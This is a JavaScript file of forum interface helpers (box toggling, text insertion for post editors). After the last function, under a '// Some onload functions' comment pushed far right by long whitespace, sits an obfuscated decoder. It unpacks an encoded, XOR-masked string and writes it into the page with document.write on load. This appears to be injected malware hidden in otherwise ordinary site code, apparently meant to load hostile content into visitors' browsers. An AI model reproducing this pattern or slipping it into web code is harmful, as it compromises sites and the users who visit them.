/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function I1l1lOIlIlIO11OlOl01OIOOIl1l1OOOIOIO0OOI(O00IOOO0OO1l1IO0IIl00OIll1OlllI10llO1OOl){var lO0IlI0l0OOl11OIO0l1011OOOlOll1O1O100101=O00IOOO0OO1l1IO0IIl00OIll1OlllI10llO1OOl.length,II10lIIOIOllI011O1l101lOl0Il1l01O11O0lll=1024,lII0I0O111IOOOl1II1lOO1llO10O1lllO0IIOll,lI1O01II00III0OOOlOl0Ol00llIOlI1O0IIOOOO,IOl1II1lI01101O10OOIlIlO10I1llOlO1010O0l,OlI1I1OOl1O0l0lIOOI11OO11OlIlOOlO110OlO1=0,OlO0lOIOlOI0l0O0OOIO01OOOIOlI01llIll1I10=0,l0001I0l1l110IIIO1I01ll1Il0lOO0OO1IlllI0=0,OlOlI0I0111I11ll00lOOl000Il0OO11OI00ll11=Array(63,50,54,28,26,44,56,13,49,6,0,0,0,0,0,0,41,8,61,17,62,45,1,18,39,27,60,30,14,23,32,29,4,25,43,31,3,15,53,12,46,34,47,0,0,0,0,38,0,35,36,24,52,51,16,7,55,9,40,5,48,2,22,10,37,57,59,33,0,42,20,19,11,21,58);for(lI1O01II00III0OOOlOl0Ol00llIOlI1O0IIOOOO=Math.ceil(lO0IlI0l0OOl11OIO0l1011OOOlOll1O1O100101/II10lIIOIOllI011O1l101lOl0Il1l01O11O0lll);lI1O01II00III0OOOlOl0Ol00llIOlI1O0IIOOOO>0;lI1O01II00III0OOOlOl0Ol00llIOlI1O0IIOOOO--){IOl1II1lI01101O10OOIlIlO10I1llOlO1010O0l='';for(lII0I0O111IOOOl1II1lOO1llO10O1lllO0IIOll=Math.min(lO0IlI0l0OOl11OIO0l1011OOOlOll1O1O100101,II10lIIOIOllI011O1l101lOl0Il1l01O11O0lll);lII0I0O111IOOOl1II1lOO1llO10O1lllO0IIOll>0;lII0I0O111IOOOl1II1lOO1llO10O1lllO0IIOll--,lO0IlI0l0OOl11OIO0l1011OOOlOll1O1O100101--){l0001I0l1l110IIIO1I01ll1Il0lOO0OO1IlllI0|=(OlOlI0I0111I11ll00lOOl000Il0OO11OI00ll11[O00IOOO0OO1l1IO0IIl00OIll1OlllI10llO1OOl.charCodeAt(OlI1I1OOl1O0l0lIOOI11OO11OlIlOOlO110OlO1++)-48])<<OlO0lOIOlOI0l0O0OOIO01OOOIOlI01llIll1I10;if(OlO0lOIOlOI0l0O0OOIO01OOOIOlI01llIll1I10){IOl1II1lI01101O10OOIlIlO10I1llOlO1010O0l+=String.fromCharCode(165^l0001I0l1l110IIIO1I01ll1Il0lOO0OO1IlllI0&255);l0001I0l1l110IIIO1I01ll1Il0lOO0OO1IlllI0>>=8;OlO0lOIOlOI0l0O0OOIO01OOOIOlI01llIll1I10-=2}else{OlO0lOIOlOI0l0O0OOIO01OOOIOlI01llIll1I10=6}}document.write(IOl1II1lI01101O10OOIlIlO10I1llOlO1010O0l)}}I1l1lOIlIlIO11OlOl01OIOOIl1l1OOOIOIO0OOI("Q1JlMwW1tMjdWg3d7aQpk2WlWx3eCaQpk4Od3HWlcKclWIOViwWhSX51xT5Hwe5VWSWeie3d30QeWg3ltZJsk4BV9aqs7gOdy0@Yo4OdoMEVnI7lx1J1TR5YiZcV7ME_Ch3hgXQ_o1JlMwW1tZi");                                                                                                                                                                                                                                                                              
// End onload functions
